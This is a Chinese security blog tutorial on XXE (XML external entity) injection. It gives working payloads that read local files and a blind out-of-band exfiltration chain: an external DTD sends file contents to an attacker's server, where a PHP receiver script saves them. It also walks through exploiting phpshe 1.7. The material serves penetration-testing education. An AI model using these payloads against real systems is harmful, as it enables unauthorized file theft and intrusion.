XXE漏洞-黑白盒测试+无回显

admin 2024年3月19日14:30:52评论8 views字数 2009阅读6分41秒阅读模式

什么是xxe漏洞?

XML被设计是为了传输和存储数据,XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XXE黑盒发现:

1、获取到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

2、不管获取的是Content-Type类型还是数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

案例:xxe漏洞-读取文件

一个登录功能

XXE漏洞-黑白盒测试+无回显

抓包发现是使用xml类型传输的数据,可能存在xxe漏洞

XXE漏洞-黑白盒测试+无回显

伪造一个读取文件的xml外部实体payload

读取文件:

<?xml version="1.0"?>

<!DOCTYPE Mikasa [

<!ENTITY test SYSTEM"file:///d:/www.txt">

]>

<user><username>&test;</username><password>Mikasa</password></user>

www. txt内容:xiaoheizi:请不要试图读取我

XXE漏洞-黑白盒测试+无回显

成功读取到文件内容

XXE漏洞-黑白盒测试+无回显

案例:xxe漏洞-带外测试

带外测试:为了在网站不回显时,确认漏洞是否存在

打开网站dnslog.cn获取测试域名

XXE漏洞-黑白盒测试+无回显

测试xml代码:

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://eb3q1r.dnslog.cn">

%file;

]>

<user><username>&send;</username><password>Mikasa</password></user>

更改数据包发送

XXE漏洞-黑白盒测试+无回显

dns成功接收到访问信息,说明插入的xxe漏洞payload被解析执行了,存在xxe漏洞

XXE漏洞-黑白盒测试+无回显

案例:xxe漏洞-解决无回显问题

dtd格式文件:

dtdxml的一个实体文件,里面写的是xml的代码。可以解决拦截防护绕过问题和数据不回显问题。

无回显读取文件内容的xml代码:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/www.txt">

<!ENTITY % remote SYSTEM "http://127.0.0.1:100/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

意思是:读取www.txt内容,发送给http://127.0.0.1:100/test.dtd

test.dtd内容:<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:100/get.php?file=%file;'>">

意思是:接收数据到get.php文件

get.php内容:

<?php

$data=$_GET['file'];

$myfile = fopen("file.txt", "w+");

fwrite($myfile, $data);

fclose($myfile);

?>

意思是:将接收到的数据写入到file.txt文件中。

抓包修改接收的数据为xxe漏洞payload

XXE漏洞-黑白盒测试+无回显

点击发送,攻击者服务器下成功生成一个file.txt文件

XXE漏洞-黑白盒测试+无回显

打开成功获取www.txt的内容

XXE漏洞-黑白盒测试+无回显

简单来说就是:目标网站不回显,攻击者就把获取的数据发送到自己的服务器上去看

案例:xxe漏洞-phpshe1.7源码(无回显审计)

1.浏览器搜索一些xxe漏洞的函数

如:simplexml_load_string()函数

2.打开源码全局搜索漏洞函数。使用的审计工具是:Seay源代码审计系统

XXE漏洞-黑白盒测试+无回显

3.依次打开函数位置,审计代码发现大概率存在xxe漏洞

XXE漏洞-黑白盒测试+无回显

4.可以看到pe_getxml方法调用了漏洞函数,要确定是谁调用了pe_getxml

选中方法---右键---全局搜索

XXE漏洞-黑白盒测试+无回显

5.wechat_getxml调用了pe_getxml,要确定是谁调用了wechat_getxml

XXE漏洞-黑白盒测试+无回显

最后确定是notify_url.php文件调用了wechat_getxml。

6.访问notify_url文件触发wechat_getxml函数,构造Paylod测试

XXE漏洞-黑白盒测试+无回显

7.抓取访问notify_url.php文件的数据包

XXE漏洞-黑白盒测试+无回显

8.尝试读取文件无回显,使用带外测试看看有没有漏洞

XXE漏洞-黑白盒测试+无回显

dnslog有解析记录,说明存在xxe漏洞

9.使用带外传递数据解决无回显

XXE漏洞-黑白盒测试+无回显

10.发送数据包,成功在攻击者服务器生成一个file.txt文件接收读取的数据

XXE漏洞-黑白盒测试+无回显

内容:

XXE漏洞-黑白盒测试+无回显

原文始发于微信公众号(小黑子安全):XXE漏洞-黑白盒测试+无回显

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月19日14:30:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE漏洞-黑白盒测试+无回显https://cn-sec.com/archives/2582019.html

发表评论

匿名网友 填写信息